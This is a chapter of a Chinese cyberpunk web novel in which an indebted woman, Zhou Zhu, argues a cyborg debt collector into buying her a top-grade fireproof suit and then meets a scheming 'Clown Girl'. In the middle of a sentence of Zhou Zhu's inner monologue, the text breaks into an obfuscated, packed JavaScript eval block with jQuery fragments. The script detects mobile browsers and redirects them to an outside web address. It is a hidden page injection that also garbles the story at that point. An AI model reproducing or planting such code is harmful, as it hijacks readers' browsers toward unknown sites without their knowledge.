看着与讨债女士对峙的人都散了，周祝这才小心翼翼地说道：“现在没事了吧？”


    讨债女士把枪放下，语气里带着一丝遗憾：“我没事了，但你恐怕有事了。你得一个人留在这。”


    周祝一脸不解：“这有什么问题吗？”


    讨债女士叹了口气说道：“可怜你又要和这些垃圾，呼吸同一片空气了。”


    她说话的同时，解除了神经漫游者手枪的神经干扰。


    地上原本瘫软的人群陆续开始动弹，却没人再敢上前，只是用怨恨的眼神瞪着她，随即转身涌向卖防火服的推车。


    “话说，”讨债女士瞥向周祝，“你不去买一件吗？”


    周祝一脸理所当然：“我这不是正欠着三个亿吗？


    难道要用我背包里的基础营养膏去换防火服吗？为了保护我这样的优质资产，难道不该由你来提供防火服吗？”


    讨债女士盯着周祝：“或许你可以去问问那个小贩，看他愿不愿意赊账。”


    周祝笑得十分真诚：“我又不欠他的钱，他怎么会愿意让我再欠一笔呢？”


    她向前半步说道：“送佛送到西，你已经在我身上投入这么多了。一件防火服对你来说九牛一毛，但对我而言却至关重要。


    我若死了，欠你的那三个亿就成了死账。我若活了，这笔债才可能流动起来。让我活下去，钱才有可能回到债主手里。


    你把我送进去，不就是为了让这三个亿有朝一日能收回成本吗？”


    周祝说完抬眼直视对方。


    她赌的就是对方对三个亿本金的执念，她后背已有薄汗，却强装镇定：“这笔账，你应该比我更会算。”


    周祝看着讨债女士沉默一会后，转身前往小推车，连忙在她身后大声喊道：“买最高等级的！别贪便宜买次品！万一我就因为防火服质量问题死了，你绝对会后悔一辈子的！”


    讨债女士眉头紧锁，没有回头。


    随着她的走近，周围人都像遇见蟑螂一样，向两边跑去。


    那防火服小贩正低头数着刚到手的信用点，乐得合不拢嘴，一抬头看见站在他摊前的讨债女士，又涌上一阵狂喜：“又有大客户上门了！”


    他连忙挤出最谄媚的笑容，点头哈腰地问道：“这位，您需要什么样的防火服？我这的防火服款式齐全，质量上乘！”


    讨债女士的目光扫过杂乱的小推车，问道：“最高等级的防火服，多少钱？”


    小贩眼前一亮，搓着手道：“这您可问对人了！我这正好有一套材质十分顶级的货色，自带内循环冷却和智能调温系统，能扛住小型熔岩喷发！价格嘛……”


    小贩小心翼翼地伸出五根手指，“就只要五千信用点。”


    讨债女士的智能镜片上迅速闪过该商品的市场指导价，她的电子音里罕见地带上了一丝名为震惊的波动：“五千信用点？你怎么不去抢？


    这套的常规市场价最高不超过一千点。你现在的行为已经严重违反了《天问系统产品价格监测法》，涉嫌恶意操纵物价、违规涨价。”


    那小贩一听，非但没慌，反而把腰杆挺直了些，理直气壮地反驳道：“回收员大人，饭可以乱吃，话却不可以乱说。


    价格监测法管的是正常市场，您睁眼看看这四周，这儿算正常市场吗？”


    他抬手指了指远处翻涌的火墙，又指了指自己：“我来这儿卖货，那是把脑袋别在裤腰带上，玩命！万一火墙轰的一声塌了，这风险成本难道不高吗？”


    他越说越激动，掰着手指头数：“我的冒险费、精神损失费、还有家里的房租水电、孩子的课外辅导班费，甚至还有孩子婚丧嫁娶……全都得指望这一茬。


    这不都得摊在成本里吗？


    而且供需关系决定价格！嫌贵？”


    小贩两手一摊，摆出一副死猪不怕开水烫的架势：“您别买啊！”


    讨债女士的目光扫过其他货色的防火服，冷声问道：“有没有更便宜的？”


    小贩的热情肉眼可见地消退，悻悻地低下头，从推车底下扯出一套灰扑扑的防火服：“这个，普通防火服，只要三百信用点。”


    就在讨债女士准备付款时，周祝却急了：“这花的不是她的钱，但穿的可是她的命！”


    她一个箭步上前，一把抓起那套标价五千的顶级防火服，塞进自己怀里，斩钉截铁地说：“就要这个！”


    讨债女士镜片后的目光十分锐利，死死钉在周祝脸上，无声地进行施压。


    周祝毫无惧色，甚至带点理直气壮：“看我干嘛？付钱啦！”


    她拍了拍怀里昂贵的防火服，语气十分轻松：“这还不够我一天的利息呢！我一天的利息大约是三十六万五千信用点，这点钱，洒洒水啦。”


    周祝看着讨债女士，眼神里写满了你到底会不会算账的质疑。


    她继续说道：“用这点小钱，给三个亿的资产上一重保险，这投资回报率，简直高到吓人好不好？”


    空气凝固了几秒。


    讨债女士的智能镜片上，一行微小的系统提示无声刷过：【任务优先级判定：确保高价值的资产存活，大于单次物资采购成本控制】。


    这五千点的前期投入，哪怕在系统看来也是一笔必须支付，且性价比极高的风险投资。


    “成交。”小贩的脸上挤满了笑容。


    周祝看着付完钱的讨债女士头也不回地离开。


    她飞快地换上那套价值五千信用点的防火服。


    不得不说，高级货就是不一样，扑面而来的热浪，在智能系统的精准调控下，瞬间变得无害，仿佛只是春日里的一阵暖风。


    然而，讨债女士一走，周围那些原本被威慑住的恶意视线，便如同解除了屏蔽般，重新聚焦在她身上。


    周祝想都没想，立刻用力地一一瞪了回去。


    那些人显然还沉浸在神经漫游者的余威之中，竟没几个敢与她对视，纷纷移开了目光。


    不过周祝心里门儿清，欺软怕硬要有限度。


    她非常识相地避开了鲸杀帮那些带着重型武器的大块头，以及红衣帮那群眼神空洞的信徒。


    她一边低调地移动，一边在心里吐槽，“


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17135602|196259||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    这两帮人的特征，未免也太明显了点。”


    周祝她刻意避开那些帮派分子，专往看起来威胁性就低的小团体边缘凑。


    就在她假装研究地面裂缝时，一双材质高级的防护靴停在了她的视野里。


    周祝心里一紧，视线顺着靴子往上移。


    来人也穿着一身防火服，但剪裁利落，材质泛着哑光，与周围那些臃肿笨重得便宜防火服截然不同。


    这身行头，一看就价格不菲，和她这套五千点的顶级货属于同一个世界。


    是福不是祸，是祸躲不过。


    周祝索性抬起头，对上了对方防护面罩后的视线。


    见她抬头，对方轻笑了一下，随即利落地一扭、一转，动作流畅地卸下了头罩


    头罩下是一张她从未见过的脸。


    之所以这么肯定，是因为那张脸的每一处轮廓加上三庭五眼的比例，都像是经过精密计算般恰到好处，连微笑的弧度都让人如沐春风。


    “你忘了？我们之前在列车上见过。”美女的声音也温温软软的。


    周祝望着那张仿佛自带催眠效果的脸，不管对方说什么，都只会愣愣地点头。


    等等……列车？


    她猛地回过神，终于想起这位就是之前在车上塞给她那个牛皮纸袋的人！


    “列车也太不懂事了，”周祝在心底愤愤不平，“这么一位美人，居然也是挂票，简直太过分了。”


    “我就说我们很有缘，”美女依旧微笑着，重新将头罩扣上，“没想到，连目的地都一样。”


    话音刚落，旁边一个男人就忍不住嘴贱：“哎哟，小丑女你怎么又用你做得那张脸来骗人了？”


    美女头也没回，鞋跟精准地碾上那男人的脚趾，声音骤然低沉：“傻缺，管不住嘴是吧？信不信我现在就找根针给你缝上？”


    说完她转过头，语气恢复了正常，带着几分随意对周祝笑了笑：“抱歉啊，本来还想给你留个好印象的。”


    周祝虽然还记得方才那惊为天人的一幕，但此刻这收放自如的反差，反倒让她对这位美女的印象更加深刻了。


    “那个傻缺既然都说破了，我也就直说了。”美女，或者说小丑女，耸了耸肩，“我们聚在这儿，主要是为了交流情报，争取让大家活下去的几率，稍微好看那么一点。”


    周祝心里一直有个巨大的疑问。


    讨债女士明确说过这里的死亡率极高，可现场这么多人，竟没一个痛哭流涕或崩溃绝望，反而都异常平静地接受了这个事实，而且各自为政，毫无交流。


    现在总算有人主动提出共享信息，可她实在帮不上什么忙，她才来到这个世界，对这里几乎一无所知。


    “我掌握的情报非常有限，”周祝坦言，“恐怕帮不了你们什么。”


    小丑女闻言却笑了，隔着面罩都能感觉到她那份不以为意。“别担心，能来这里大都是一无所知。


    我生活在下城区这么久，我都不知道边缘竟然是个火海。”


    接着，小丑女和那个龇牙咧嘴的男人把周祝带到了他们的小团队。